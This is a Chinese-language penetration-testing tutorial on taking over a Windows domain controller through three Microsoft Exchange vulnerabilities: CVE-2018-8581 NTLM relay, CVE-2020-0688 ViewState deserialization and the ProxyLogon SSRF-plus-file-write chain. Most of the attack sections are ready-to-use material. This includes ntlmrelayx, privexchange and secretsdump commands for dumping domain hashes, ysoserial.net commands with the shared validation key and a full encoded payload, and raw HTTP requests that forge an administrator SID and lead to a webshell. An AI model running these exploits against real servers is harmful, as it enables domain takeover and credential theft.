返回介绍

5 利用 Exchange 接管域控

发布于 2024-09-13 00:11:28 字数 29452 浏览 0 评论 0 收藏 0

5.1 CVE-2018-8581 SSRF 漏洞

5.1.1 漏洞描述

Exchange 允许任意用户通过 EWS 接口来创建一个推送订阅(Push Subscription),并可以指定任意 URL 作为通知推送的目的地; 当触发推送时,Exchange 使用了 CredentialCache 类的 DefaultCredentials 属性,当使用 DefaultCredentials 时发出的 HTTP 请求将使用该权限发起 NTLM 认证; 在 EWS 请求中,通过在 Header 中使用 SerializedSecurityContext ,指定 SID 可以实现身份伪装,从而以指定用户身份进行 EWS 调用操作。

即从 HTTP relay 到 LDAP 的 NTLM Relay 攻击。

5.1.2 受影响的系统版本

  • Exchange Server 2010 ~ Exchange Server 2016

5.1.3 漏洞复现

漏洞利用到两个工具:

首先在本机启动 NTLM 中继,进入到 impacketexamples 目录执行

python2 ntlmrelayx.py -t ldap://pentest.lab --escalate-user hacker

pentest.lab 是域的名称

--escalate-user 的参数是 Exchange 的普通权限用户名。

python2 privexchange.py -ah 172.16.147.1 172.16.147.4 -u hacker -p "hack123aB" -d pentest.lab

-ah 参数指定攻击者 IP,在这里为 172.16.147.1

172.16.147.4 为 Exchange 服务器在域的名称或者 IP 地址 -u 指定需要提权的 Exchange 的普通权限用户名 -p 指定 Exchange 的普通权限用户的密码 -d 指定域的名称

导出域内 hash:

python2 secretsdump.py pentest.lab/hacker@pentest.lab -just-dc

5.2 CVE-2020-0688 反序列化漏洞

5.2.1 漏洞描述

与正常软件安装每次都会产生随机密钥不同,所有 Exchange Server 在安装后的 web.config 文件中都拥有相同的 validationKey 和 decryptionKey。这些密钥用于保证 ViewState 的安全性。

而 ViewState 是 ASP.NET Web 应用以序列化格式存储在客户机上的服务端数据。客户端通过 __VIEWSTATE 请求参数将这些数据返回给服务器。攻击者可以在 Exchange Control Panel web 应用上执行任意 .net 代码。

当攻击者通过各种手段获得一个可以访问 Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在被攻击的 exchange 上执行任意代码,直接获取服务器权限。

具体原理可以参考: CVE-2020-0688 的武器化与.net 反序列化漏洞那些事

5.2.2 受影响的系统版本

  • Microsoft Exchange Server 2010 Service Pack 3
  • Microsoft Exchange Server 2013
  • Microsoft Exchange Server 2016
  • Microsoft Exchange Server 2019

5.2.3 漏洞复现

5.2.3.1 前提

首先,需要获取 4 个参数:

  • validationkey 该参数为默认,为漏洞产生的原因
    • CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
  • validationalg 默认
    • SHA1
  • generator
  • viewstateuserkey

在这四个变量中,前两个为默认固定,viewstateuserkey 和 generator 的值需要从经过身份验证的 session 中收集。 viewstateuserkey 可以从 ASP.NE T 的 _SessionID cookie 中获取,而 generator 可以在一个隐藏字段 __VIEWSTATEGENERATOR 中找到。

5.2.3.2 参数获取

在正常登录后访问 /ecp/default.aspx 页面。使用 burpsuite 抓包发 repeater,找到登录时 /ecp/default.aspx 的原始响应。

找到 ASP.NET_SessionIdcookie

ASP.NET_SessionId=d7d6614a-4959-4989-a3d1-27e6efd8875d

搜索 __VIEWSTATEGENERATOR 获取字段值:

B97B4E27

5.2.3.3 生成 payload

需要用到 ysoserial.net

  • 生成执行程序的 payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="d7d6614a-4959-4989-a3d1-27e6efd8875d" --isdebug --islegacy

得到:

/wEylAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC2BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjLmV4ZSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4LSXUwoXG5VzeGJVCJLwnNz8xsRfw=

生成完 payload 代码后,需要对该代码中的特殊字符进行 URL Encode 编码构造一个 URL:

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

将最开始获得的 __VIEWSTATEGENERATOR 值替换 generator,将 URL Encode 编码后的 payload 替换 ViewState。

  • 生成写文件的 payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c echo POC > C:\1.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="80677c59-fde2-4534-b8ae-97f3997b009a" --isdebug --islegacy

5.3 ProxyLogon

5.3.1 漏洞描述

ProxyLogon 是 CVE-2021-26855 和 CVE-2021-27065 两个漏洞的组合利用。

Exchange 是一个非常复杂的应用程序。 自 2000 年以来,Exchange 每 3 年发布一个新版本。 每当 Exchange 发布新版本时,体系结构都会发生很大变化并变得不同。架构和迭代的变化使得升级 Exchange Server 变得困难。 为了保证新旧架构之间的兼容性,Exchange Server 导致存在了新的攻击面。

在 Microsoft Exchange 上重点关注于客户端访问服务 Client Access Service(CAS)。 CAS 是 Exchange 的基本组件。在 Exchange 2000/2003 版本,CAS 是一个独立的 Frontend Server,负责所有 Frontend Web 的逻辑。 经过多次重命名、集成和版本差异,CAS 已成为 Mail Role 下的组件。

5.3.1.1 CAS 架构

CAS 是负责接受来自客户端的所有连接的基本组件,包括 HTTP、POP3、IMAP 还是 SMTP,并将连接代理到相应的后端服务。

CAS 网站搭建在 Microsoft IIS 上。IIS 中有两个站点。「Default Website」是之前提到的前端,「Exchange Backend」是负责处理业务逻辑。查看配置后可以发现,Frontend 绑定了 80 和 443 端口,Exchange Backend 监听了 81 和 444 端口。所有端口都绑定了 0.0.0.0,这意味着可以访问 Frontend 和 Backend。

Exchange 系统的服务架构如下图所示,由前端和多个后端组件组成。⽤户基于各类协议对 Exchange 的前端发起请求,前端解析请求后会将其转发到后端相对应的服务当中。以基于 HTTP/HTTPS 协议的访问为例,来⾃ Outlook 或 Web 客户端的请求会⾸先经过 IIS,然后进⼊到 Exchange 的 HTTP 代理,代理根据请求类型将 HTTP 请求转发到不同的后端组件中。

5.3.1.2 Frontend Proxy

Frontend Proxy 模块根据当前的 ApplicationPath 选择处理程序来处理来自客户端的 HTTP 请求。 比如访问 /EWS 会使用 EwsProxyRequestHandler ,而 /OWA 会触发 OwaProxyRequestHandler 。 Exchange 中的所有处理程序都继承了 ProxyRequestHandler 类,并实现了它的核心逻辑,包括:如何处理来自用户的 HTTP 请求,从 Backend 到代理的 URL,以及如何与 Backend 同步信息。该类也是整个 Proxy Module 中最核心的部分,将 ProxyRequestHandler 分成 3 个部分:

  • Request Section

Request Section 解析来自客户端的 HTTP 请求并确定哪些 cookie 和标头可以代理到后端。Frontend 和 Backend 依靠 HTTP Headers 来同步信息和代理内部状态。因此,Exchange 定义了一个黑名单,以避免某些内部 Headers 被滥用。

protected virtual bool ShouldCopyHeaderToServerRequest(string headerName) {
  return !string.Equals(headerName, "X-CommonAccessToken", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-IsFromCafe", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-SourceCafeServer", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "msExchProxyUri", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-MSExchangeActivityCtx", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "return-client-request-id", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-Forwarded-For", OrdinalIgnoreCase) 
      && (!headerName.StartsWith("X-Backend-Diag-", OrdinalIgnoreCase) 
      || this.ClientRequest.GetHttpRequestBase().IsProbeRequest());
}

在 Request 的最后阶段,Proxy Module 会调用 handler 实现的 AddProtocolSpecificHeadersToServerRequest 方法,在 HTTP 头中添加要与 Backend 交换的信息。这一阶段还会将当前登录用户的信息序列化,放到一个新的 HTTP 头 X-CommonAccessToken 中,再转发给 Backend。

  • Proxy Section

Proxy Section 首先使用 GetTargetBackendServerURL 方法来计算应将 HTTP 请求转发到哪个后端 URL。 然后使用 CreateServerRequest 方法初始化一个新的 HTTP 客户端请求。

HttpProxy\ProxyRequestHandler.cs

protected HttpWebRequest CreateServerRequest(Uri targetUrl) {
    HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(targetUrl);
    if (!HttpProxySettings.UseDefaultWebProxy.Value) {
        httpWebRequest.Proxy = NullWebProxy.Instance;
    }
    httpWebRequest.ServicePoint.ConnectionLimit = HttpProxySettings.ServicePointConnectionLimit.Value;
    httpWebRequest.Method = this.ClientRequest.HttpMethod;
    httpWebRequest.Headers["X-FE-ClientIP"] = ClientEndpointResolver.GetClientIP(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-Forwarded-For"] = ClientEndpointResolver.GetClientProxyChainIPs(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-Forwarded-Port"] = ClientEndpointResolver.GetClientPort(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-MS-EdgeIP"] = Utilities.GetEdgeServerIpAsProxyHeader(SharedHttpContextWrapper.GetWrapper(this.HttpContext).Request);
    
    // ...
    
    return httpWebRequest;
}

Exchange 还将通过后端的 HTTP Service-Class 生成 Kerberos 票证,并将其放入 Authorization 头中。 此请求头旨在防止匿名用户直接访问后端。使用 Kerberos 票证,后端可以验证来自前端的访问。

HttpProxy\ProxyRequestHandler.cs

if (this.ProxyKerberosAuthentication) {
    serverRequest.ConnectionGroupName = this.ClientRequest.UserHostAddress + ":" + GccUtils.GetClientPort(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
} else if (this.AuthBehavior.AuthState == AuthState.BackEndFullAuth || this.
    ShouldBackendRequestBeAnonymous() || (HttpProxySettings.TestBackEndSupportEnabled.Value  
    && !string.IsNullOrEmpty(this.ClientRequest.Headers["TestBackEndUrl"]))) {
    serverRequest.ConnectionGroupName = "Unauthenticated";
} else {
    serverRequest.Headers["Authorization"] = KerberosUtilities.GenerateKerberosAuthHeader(
        serverRequest.Address.Host, this.TraceContext, 
        ref this.authenticationContext, ref this.kerberosChallenge);
}

HttpProxy\KerberosUtilities.cs

internal static string GenerateKerberosAuthHeader(string host, int traceContext, ref AuthenticationContext authenticationContext, ref string kerberosChallenge) {
    byte[] array = null;
    byte[] bytes = null;
    // ...
    authenticationContext = new AuthenticationContext();
    string text = "HTTP/" + host;
    authenticationContext.InitializeForOutboundNegotiate(AuthenticationMechanism.Kerberos, text, null, null);
    SecurityStatus securityStatus = authenticationContext.NegotiateSecurityContext(inputBuffer, out bytes);
    // ...
    string @string = Encoding.ASCII.GetString(bytes);
    return "Negotiate " + @string;
}

因此,代理到后端的客户端请求将添加多个 HTTP 标头供后端使用。 两个最重要的 Headers 是 X-CommonAccessToken ,表示邮件用户的登录身份,以及 Kerberos Ticket ,表示来自前端的合法访问。

  • Frontend Response Section

Response Section 接收来自后端的响应并决定允许哪些请求头或 cookie 发送回给前端。

5.3.1.3 Backend Rehydration Module

Backend 首先使用 IsAuthenticated 方法来检查传入的请求是否经过身份验证。然后后端会验证该请求是否存在一个名为 ms-Exch-EPI-Token-Serialization 的扩展权限。在默认设置下,只有 Exchange 机器帐户才具有此权限。这也是 Frontend 生成的 Kerberos Ticket 可以通过检测,但是低授权账号不能直接访问 Backend 的原因。

校验通过后,Exchange 将 HTTP 头中的 X-CommonAccessToken 反序列化回原始 Access Token ,还原用户身份,然后将其放入 httpContext 对象中进行到 Backend 中的业务逻辑。

Authentication\BackendRehydrationModule.cs

private void OnAuthenticateRequest(object source, EventArgs args) {
    if (httpContext.Request.IsAuthenticated) {
        this.ProcessRequest(httpContext);
    }
}

private void ProcessRequest(HttpContext httpContext) {
    CommonAccessToken token;
    if (this.TryGetCommonAccessToken(httpContext, out token)) {
        // ...
    }
}

private bool TryGetCommonAccessToken(HttpContext httpContext, out CommonAccessToken token) {
    string text = httpContext.Request.Headers["X-CommonAccessToken"];
    if (string.IsNullOrEmpty(text)) {
        return false;
    }
        
    bool flag;
    try {
        flag = this.IsTokenSerializationAllowed(httpContext.User.Identity as WindowsIdentity);
    } finally {
        httpContext.Items["BEValidateCATRightsLatency"] = stopwatch.ElapsedMilliseconds - elapsedMilliseconds;
    }

    token = CommonAccessToken.Deserialize(text);
    httpContext.Items["Item-CommonAccessToken"] = token;
    
    //...
}

private bool IsTokenSerializationAllowed(WindowsIdentity windowsIdentity) {
   flag2 = LocalServer.AllowsTokenSerializationBy(clientSecurityContext);
   return flag2;
}

private static bool AllowsTokenSerializationBy(ClientSecurityContext clientContext) {
    return LocalServer.HasExtendedRightOnServer(clientContext, 
        WellKnownGuid.TokenSerializationRightGuid);  // ms-Exch-EPI-Token-Serialization

}

5.3.2 受影响的版本

  • Exchange Server 2013 < Mar21SU
  • Exchange Server 2016 < Mar21SU < CU20
  • Exchange Server 2019 < Mar21SU < CU9

5.3.3 漏洞复现

5.3.3.1 CVE-2021-26855 - Pre-auth SSRF

Frontend 有 20 多个对应不同应用路径的 handler。 GetTargetBackEndServerUrl 方法负责在静态资源处理程序中计算后端 URL。因此,该漏洞的成因为: Microsoft.Exchange.FrontEndHttpProxy 未有效校验 Cookie 中用户可控的 X-BEResource 值,后续处理中结合 .NET 的 UriBuilder 类特性造成 SSRF。

定位到 Microsoft.Exchange.FrontEndHttpProxy 相关的代码变动:

ProxyRequestHandler 类是 CAS 反代过程中,负责处理用户请求与后端响应的一个的组件。因为函数调用关系比较复杂,先从整体上列出从收到用户请求开始几个主线的方法调用栈。

// Microsoft.Exchange.FrontEndHttpProxy
public class ProxyModule : IHttpModule
    public void Init(HttpApplication application)
        private void OnPostAuthorizeRequest(object sender, EventArgs e)
            protected virtual void OnPostAuthorizeInternal(HttpApplication httpApplication)

                private IHttpHandler SelectHandlerForUnauthenticatedRequest(HttpContext httpContext)

                HttpContext context = httpApplication.Context;
                context.RemapHandler(httpHandler);

当请求路径为 /ecp/ 时,会通过 IsResourceRequest 方法判断文件后缀名:

// Microsoft.Exchange.FrontEndHttpProxy
internal class BEResourceRequestHandler : ProxyRequestHandler
    internal static bool CanHandle(HttpRequest httpRequest)
        private static string GetBEResouceCookie(HttpRequest httpRequest)
        internal static bool IsResourceRequest(string localPath)

通过判断后由 BeginProcessRequest 方法继续处理后续流程:

public IAsyncResult BeginProcessRequest(HttpContext context, AsyncCallback cb, object extraData)
    private void InternalBeginCalculateTargetBackEnd(out AnchorMailbox anchorMailbox)

        protected override AnchorMailbox ResolveAnchorMailbox()
            public ServerInfoAnchorMailbox(BackEndServer backendServer, IRequestContext requestContext)
                public static BackEndServer FromString(string input)

        private void OnCalculateTargetBackEndCompleted(object extraData)
            private void InternalOnCalculateTargetBackEndCompleted(TargetCalculationCallbackBeacon beacon)
                private void BeginValidateBackendServerCacheOrProxyOrRecalculate()
                    protected void BeginProxyRequestOrRecalculate()
                        protected void BeginProxyRequest(object extraData)

                            protected virtual Uri GetTargetBackEndServerUrl()

                            protected HttpWebRequest CreateServerRequest(Uri targetUrl)
                                protected void PrepareServerRequest(HttpWebRequest serverRequest)

                                        internal static string KerberosUtilities.GenerateKerberosAuthHeader(...)

                                		private void CopyHeadersToServerRequest(HttpWebRequest destination)
                                            protected virtual bool ShouldCopyHeaderToServerRequest(string headerName)

                            			private void CopyCookiesToServerRequest(HttpWebRequest serverRequest)

                            			protected virtual void SetProtocolSpecificServerRequestParameters(HttpWebRequest serverRequest)
                            			protected virtual void AddProtocolSpecificHeadersToServerRequest(WebHeaderCollection headers)

                            private void BeginGetServerResponse()
                                private static void ResponseReadyCallback(IAsyncResult result)
                                    private void OnResponseReady(object extraData)
                                        private void ProcessResponse(WebException exception)
                                            private void CopyHeadersToClientResponse()
                                            private void CopyCookiesToClientResponse()

ResolveAnchorMailbox

protected override AnchorMailbox ResolveAnchorMailbox() {
    HttpCookie httpCookie = base.ClientRequest.Cookies["X-AnonResource-Backend"];
    if (httpCookie != null) {
        this.savedBackendServer = httpCookie.Value;
    }
    if (!string.IsNullOrEmpty(this.savedBackendServer)) {
        base.Logger.Set(3, "X-AnonResource-Backend-Cookie");
        if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
            ExTraceGlobals.VerboseTracer.TraceDebug<HttpCookie, int>((long)this.GetHashCode(), "[OwaResourceProxyRequestHandler::ResolveAnchorMailbox]: AnonResourceBackend cookie used: {0}; context {1}.", httpCookie, base.TraceContext);
        }
      # -- 此处的 FromString
        return new ServerInfoAnchorMailbox(BackEndServer.FromString(this.savedBackendServer), this);
    # --
    }
    return new AnonymousAnchorMailbox(this);
}

BackEndServer.FromString 方法获取 Cookie 的 X-BEResource 值中,以 波浪线分隔开的 FQDN 和 version,而且涉及一处补丁变更:

这里的值可以由 Cookie 控制,调用 FromStringResolveAnchorMailbox 方法也有补丁变更。

基本可以说明漏洞点就在这附近了。随后的 GetTargetBackEndServerUrl 方法就把 Fqdn 赋值给了 UriBuilder 对象 Host 属性:

protected virtual UriBuilder GetClientUrlForProxy()
{
	return new UriBuilder(this.ClientRequest.Url);
}

UriBuilder 是一个 .NET 类,在微软的 Reference Source 找到源码。如果传入的 Host 中存在 : 冒号,并且不是 [ 开头,就用一对中括号将值包裹起来:

public string Host {
    get {
        return m_host;
    }
    set {
        if (value == null) {
            value = String.Empty;
        }
        m_host = value;
        //probable ipv6 address - 
        if (m_host.IndexOf(':') >= 0) {
            //set brackets
            if (m_host[0] != '[')
                m_host = "[" + m_host + "]";
        }
        m_changed = true;
    }
}

根据传入的 version 是否大于 Server.E15MinVersion(1941962752),将 Port 赋值为 444 或 443。最后由 Uri 属性的 get 访问器(accessor)调用 ToString 将各部分拼接还原:

public Uri Uri {
    get {
        if (m_changed) {
            m_uri = new Uri(ToString());
            SetFieldsFromUri(m_uri);
            m_changed = false;
        }
        return m_uri;
    }
}

得到后端 URL 之后继续处理请求头,将 GenerateKerberosAuthHeader 方法生成的 Kerberos 票据放入 Authorization 请求头。 CopyHeadersToServerRequest 方法会筛选出后端需要的请求头,其中 ShouldCopyHeaderToServerRequest 方法用来过滤一些自定义请求头:

最后 AddProtocolSpecificHeadersToServerRequest 方法会将序列化得到的用于标识用户身份的 Token,放入 X-CommonAccessToken 请求头中:

相应的,后端模块会由 AllowsTokenSerializationBy 方法校验通常机器用户才有的 ms-Exch-EPI-Token-Serialization 扩展权限(验证请求由 CAS 发出),随后反序列化还原 X-CommonAccessToken 请求头的身份标识。

// Microsoft.Exchange.Security.Authentication
public class BackendRehydrationModule : IHttpModule
    public void Init(HttpApplication application)
        private void OnAuthenticateRequest(object source, EventArgs args)
            private void ProcessRequest(HttpContext httpContext)
                private bool TryGetCommonAccessToken(HttpContext httpContext, Stopwatch stopwatch, out CommonAccessToken token)

                    private bool IsTokenSerializationAllowed(WindowsIdentity windowsIdentity)
            			using (ClientSecurityContext clientSecurityContext = new ClientSecurityContext(windowsIdentity))
            			{
            				flag2 = LocalServer.AllowsTokenSerializationBy(clientSecurityContext);
            			}

                    token = CommonAccessToken.Deserialize(text);
                    httpContext.Items["Item-CommonAccessToken"] = token;

可以控制 URL 的 Host 部分,payload 如下:

https://[foo]@example.com:443/path#]:444/owa/auth/x.js

小结一下,Cookie 的 X-BEResource 值可以控制 CAS 请求的 Host,结合 UriBuilder 类特性可以构造出可控的完整 URL。

CVE-2021-27065

由于上面的 SSRF 漏洞,可以不受限制的访问 Backend。接下来就是寻找 RCE 进行组合攻击。在本节介绍一个 Backend 的 API: proxyLogon.ecp 获取 admin 权限。

Microsoft.Exchange.Management.DDIService.WriteFileActivity 未校验写文件后缀,可由文件内容部分可控的相关功能写入 WebShell。

Microsoft.Exchange.Management.DDIService.WriteFileActivity 中有一处明显的补丁变动,使得文件后缀名只能为 txt。

private static readonly string textExtension = ".txt";

ResetOABVirtualDirectory 触发点为例,利用流程如下(均通过 SSRF 发起):

  • 请求 EWS,从 X-CalculatedBETarget 响应头获取后端域名

  • 爆破邮箱用户名,请求 Autodiscover 获取配置中的 LegacyDN
POST /ecp/test.js HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=]@exchange.pentest.lab/autodiscover/autodiscover.xml?#~1942062522
Content-Type: text/xml
Content-Length: 343

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
        <EMailAddress>win7user@pentest.lab</EMailAddress>
        <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>

警告 此处要注意 XML 的 EMailAddress 标签,应保持在一行,否则会出现找不到邮箱的问题!

其中:

  • url 中的 /ecp/test.js 不是绝对的,可以是其他的路径 /ecp/xxxxxxxx.png
  • X-BEResource 用于代理请求,其原本格式应该是 [fqdn]~BackEndServerVersion ,BackEndServerVersion 应该大于 1941962752
  • exchange.pentest.lab:443 为目标地址

如果不需要特别指定端口号,还可以使用下面的值:

X-BEResource=exchange.pentest.lab/autodiscover/autodiscover.xml?#~1941962753

这样会导致以 443 端口访问 https://exchange.pentest.lab/autodiscover/autodiscover.xml?#:444/ecp/target.js

  • MAPI over HTTP 请求引发 Microsoft.Exchange.RpcClientAccess.Server.LoginPermException ,获取 SID
POST /ecp/test.js HTTP/1.1
Host: IP
Content-Type: application/mapi-http
Cookie: X-BEResource=]@exchange:444/mapi/emsmdb?MailboxId=win7user@pentest.lab#~1
X-Requesttype: Connect
X-Requestid: {C715155F-2BE8-44E0-BD34-2960067874C8}:2
X-Clientinfo: {2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
Content-Length: 145

/o=PentestLab/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=f3151632f470447b8b05ec011f61cbff-win7user[padding]

警告 此处要在 LegacyDN 后面添加: \x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00 !

  • 替换尾部 RID 为 500,伪造管理员 SID,由 ProxyLogonHandler 获取管理员身份 ASP.NET_SessionIdmsExchEcpCanary
POST /ecp/test.js HTTP/1.1
Host: IP
Content-Type: text/xml
Cookie: X-BEResource=]@exchange:444/ecp/proxyLogon.ecp#~1942062522
Content-Length: 79
msExchLogonMailbox: S-1-5-21-277752755-3920030661-3949043096-500

<r at="Negotiate" ln=""><s>S-1-5-21-277752755-3920030661-3949043096-500</s></r>

接下来可以直接用这个 SessionID 登录 ECP。在服务器 -> 虚拟目录中:

编辑虚拟目录:

重置虚拟目录:

可以看到,文件已落地:

内容为:

蚁剑连接:

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文